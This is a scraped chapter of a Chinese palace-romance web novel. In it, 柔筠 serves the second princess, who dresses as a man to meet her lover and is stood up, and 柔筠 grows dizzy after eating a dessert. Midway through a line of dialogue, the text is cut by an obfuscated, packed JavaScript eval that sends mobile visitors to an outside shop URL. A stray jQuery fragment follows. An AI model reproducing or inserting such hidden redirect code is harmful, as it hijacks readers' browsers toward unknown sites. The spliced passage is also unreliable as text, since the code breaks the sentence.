文趣网 > 其他小说 > 清欢误 > 24. 动摇
    原以为有这样一个小插曲,时间会更紧张一些。

    然而当柔筠匆匆将一切准备就绪,却依旧等了片刻才等到裴瑀前来。

    且今日的裴瑀也有些格外的温存。

    柔筠原本的紧张仿佛一瞬就被抚平。

    而她所担心再次发生的事情也没有出现,直到离开,裴瑀也并没有再不合时宜地说些什么。

    对于先前与她说起的太后的建议,也并没有提及。

    其实这样也好,或许是裴瑀听了她的话,暂且搁置了这个想法。

    如此便不会再激化什么冲突,是柔筠最想要看到的场面。

    柔筠一边同青黛一起将东西收拾妥当,一边漫无边际地如此想着。

    只是当她跨出房门的时候,又撞见了不知是不是特意过来瞧瞧的严嬷嬷。

    对视的一瞬间,严嬷嬷虽然没有再说些什么,但柔筠总觉得她的神情似乎并不友善,或许是因为先前说的那些话。

    而严嬷嬷看着柔筠离开的背影,想到方才她面上那一团还未来得及散尽的微微酡红,不由地又皱起眉头。

    这个柔筠……

    ……

    “今天怎么又有心情陪我出来了?”

    沈扬一边说着,一边靠在摊位旁边,将客人挑好的首饰包好递去,热情地与人告别,神色十分心满意足。

    “你邀我许多次,今日无事,便出来瞧瞧。”裴瑀在一旁观望片刻,上下打量了一番他身上穿的布衣,忽问,“怎么忽卖起钗环来了?”

    上回卖葱尚且有由头,这回总不会是又是为了助人。

    “有趣呀。”沈扬笑道,“上回卖葱,倒是卖出些意趣,觉得这行商似乎也挺有意思。”

    “既是卖葱得了意趣,为何改卖钗环?”

    “自然是卖些女孩子用的,更舒心清净些。”沈扬先是半玩笑似的道,见裴瑀面露无奈,又解释,“蔬果易坏,钗环若是一时不想卖了先放进库房吃灰也不打紧,况且我也更熟悉些。瞧着她们带上新的首饰高高兴兴的样子,也让人由衷欣喜。”

    裴瑀笑着无奈摇摇头。

    沈扬挑眉,“怎的,清晏也觉着卖货不好?”

    “自然不是。”裴瑀可不受这个过,“只是想着伯母或许又要暗自为你头疼。”

    在大多数人眼中商贾毕竟还属末流,沈家如今不如从前,沈母本就为儿子婚事操心,他仅仅不喜仕途也就罢了,如今又做起生意来,倘若传扬出去,恐怕许多人家的心思更是避之不及了。

    但是裴瑀自然不会是其中之一。

    他道:“倘若发心不正,便是入仕也会为祸百端,若是发心端正,行商坐贾也能够经世济民,本是不冲突的事,只是时也事也,有些事情并不能一概而论。”

    当初阿筠母亲徐清漪还在之时,便时常会有救济慈善之举,他也没少听阿筠讲过与母亲同去时遇到的各种事,那时战乱还未彻底平息,是实实在在帮到了许多建州流离失所的百姓,虽是行商,却是大义,就连父亲也曾与他夸奖过顾夫人义举,夸顾家门风清正,只不过后来才知,门风清正的本不是顾家,只是他们娶到了一位门风清正的夫人罢了。

    “哈哈哈。”沈扬笑得愉快,“想不到你竟如此有心得,平日倒并没见你如何接触过这些。”

    裴瑀便又想起柔筠从前在家中店铺查账时的样子。

    明明是个小小的、平日再柔软不过的一个人,真面对查到的错处烂帐时,却也是毫不含糊,能仅凭逻辑和气势就把人压倒,雷厉风行的,谁见着都得夸一句灵气。

    “如今你既有空了,帮我把这个捎给阿筠?”沈扬从摊位旁边的精致小框掏出一个朴素的盒子,打开给裴瑀看了一眼,“这根簪子是我先前去进货时淘到的好东西,不名贵,但是胜在精巧。”

    盒子里静静躺着一根簪头飘紫的丁香花簪,确如沈扬所言,十分精巧。

    “为何是丁香?”

    “阿筠喜欢它的香气。”沈扬得意,“有一回我们路过几株丁香树,阿筠闻见这香便笑了,说她十分喜爱这花,每次闻见这股清香都觉着心情似乎可以稍稍变好片刻。先前我曾送过阿筠丁香的香粉,只是她说倘若时时闻见便习焉不察,下次再闻见时便没法再体会那种片刻的幸福,故而只是收下却没有用过。这回是碰巧碰见这支簪子,我觉着好看,便是不用只是欣赏也不错,怎么样,我眼光好吧?”

    裴瑀并不知道柔筠如今喜欢丁香。

    建州没有丁香,而京城他们少有交流。

    这是他没有参与的过去。

    但从前的柔筠决不会因为害怕习焉不察,连使用喜欢的东西都要这般小心翼翼。

    因为那时的她幸福,被爱,无忧无虑。

    不需要害怕因为失去某一个喜好就再无欢愉之机。

    “对不住,簪子我不能替你送了。”

    沈扬的确对阿筠十分用心。

    但是这簪子,他没法替他送去。

    沈扬错愕,“为何?”

    裴瑀避开他的目光,沉默了一会儿,最终只道:“倘若你真的有心,便自己来送吧,毕竟自己的感情,终归还是要自己争取,由我代劳总不是一回事。”

    沈扬打量着他不对,“你欺负她了?”

    裴瑀一噎。

    “不过你说的也有道理,总让你代劳万一二公主瞧见吃醋也不好。那便我自己再寻机会吧。”沈扬没等他回答,自己想了想,倒也能理解裴瑀的立场,“都是兄弟,不为难你。”

    裴瑀将不能出口的话咽下。

    “……对不住了。”

    他默默叹了口气。

    他也并不想欺骗沈扬什么,只是有些话他此时也还跟谁都不能多言。

    ……

    二公主心里就没有裴瑀那么多的弯弯绕绕了。

    她觉得如今诸事顺利,皆在正轨,皇祖母没再不时找自己说她和裴瑀的事,严嬷嬷盯得也没有从前那么紧,日常的事有丹嬷嬷管着,柔筠做事得力又有分寸,除了要偶尔睡一睡狭窄的耳房,其他都没有什么不顺心的。

    不时还能趁着严嬷嬷不察悄悄偷溜出来找寻郎玩,日子仿佛又回到了从前未成婚的样子。

    只一件事令她有些郁闷。便是张寻变得有些忽冷忽热的态度。

    “这支也好看,清素典雅,或许偶尔换一个风格也好。”柔筠持簪虚虚比在赵允灵右侧的发髻旁,对着镜子端详,“这支白玉兰的,玉色倒是清,正衬殿下身上这件藕荷色衫子。”

    赵允灵却犹觉得不满意。

    “不然今日,便不戴这些钗啊环啊的了。”她一把拿走柔筠手里的簪子拍在桌上,语气烦躁。

    柔筠将簪子妥帖收好,“那殿下预备如何装束?”

    赵允灵盯着镜子左瞧右瞧,忽道:“不若今日便作男装。”

    自从同张寻相许,她都注意着将自己打扮得漂亮,已经许久没有穿过男装了。

    “近来寻郎总是心情不佳,他还没有见过本宫着男装的样子,今日本宫便作男子装扮,瞧瞧寻郎见了会不会觉得有

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17793823|208837||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    趣。”

    赵允灵觉得这主意不错。

    柔筠瞧着瞧着,却无端觉得有些别扭。

    “殿下,其实您何必如此迁就张公子?”

    其实她说这话也算有些僭越了。

    不过赵允灵并没有责怪的意思。

    “既然相爱,不就应是如此互相迁就吗?”她困惑,“这桩婚事的确是本宫对不住寻郎在先,才叫他难过,或许本宫多体贴他些,逗逗他高兴,他心情便会好些。”

    “可是这也并非殿下所愿,若是张公子当真为了您好,又岂会处处责怪,不顾殿下的心情与处境?”柔筠问得很轻,却很坚定,“从前的张公子也并非如此,是以奴婢也从未如此觉着,只是如今……”

    显然,赵允灵对这一点也并非全没想过。

    自从她与裴瑀的婚事之后,寻郎似乎就有些变了。

    “可是既然山盟海誓在前,本宫又岂能背弃承诺?”她面露犹豫,“书中便是如此写的,难道还会有错吗。”

    书中便一定是对的吗?

    “或许是不能一言以蔽之。”

    “但是很多书都这么写。”

    柔筠想了想。

    “或许殿下也可以自己写一个话本……不那样写也无妨。”

    “……”

    赵允灵一时无言,目光放空片刻。

    “罢了,先不想那么多,”她猛一摇头,又振作了精神,“替本宫更衣罢,今日就作男子装扮!”

    柔筠也觉得自己说得有些多了,也没再纠结,当即应声替赵允灵拆了发髻,装扮起来。

    今日是张寻主动相邀。

    然而等到赵允灵聊有兴致地赶到醉风楼,等了许久,也没等见张寻的身影。

    店小二将酥酪端进雅间放下,悄悄瞥了一眼。

    方才他便注意到了这一对主仆。

    虽说打扮都是男子装束,但是仔细一看便是女子,做主子那个看起来也是个没经过事儿的大小姐。

    凭他的经验,像是和情郎私奔出来的。

    “殿下,这是张公子托人捎来的。”待到小二离开,柔筠将从门口将收到的信递给赵允灵,又给她将刚上的酥酪移到面前,备好汤匙。

    赵允灵本就等得有些烦躁,打开信封一看,更是气闷。

    “寻郎说今日过不来了。”

    柔筠一听便知道,公主的心情今日恐怕都不会再好了。

    “殿下,用些酥酪吧,听闻醉风楼的酥酪用了特制的渍樱桃,别有滋味。”

    赵允灵瞥了眼桌上的瓷碗,雪白的酥酪点缀着樱桃,应该是好吃的样子,只是她了无兴致。

    “本宫不吃,赏你了,你吃。”她扭过头去看着人流来往的窗外,生闷气。

    柔筠见她不想说话,且没有要走的意思,也没办法。

    公主赏的东西自然得吃,这事从前也是常有的,于是她也并没多想,既然二公主想再待一会儿,那刚好她边吃边陪着,也没必要亏待自己。

    酥酪入口冰凉,奶香清浅,特渍樱桃的酸甜紧接着涌上来,恰到好处地化解了奶味的醇厚,的确十分特别,只是口感有些粗糙,化开后有些粉感,显得降了品阶,到底不如御厨所做。

    柔筠心道,幸好二公主没吃这酥酪,不然吃到这般差些品质的口感,恐怕心情又更不妙。

    然而渐渐的,她却又觉得有些不对起来。

    怎的一碗凉凉的冰酥酪吃下腹中,她却觉着身上越来越热,似乎出了些虚汗,脑袋还有些发晕起来呢?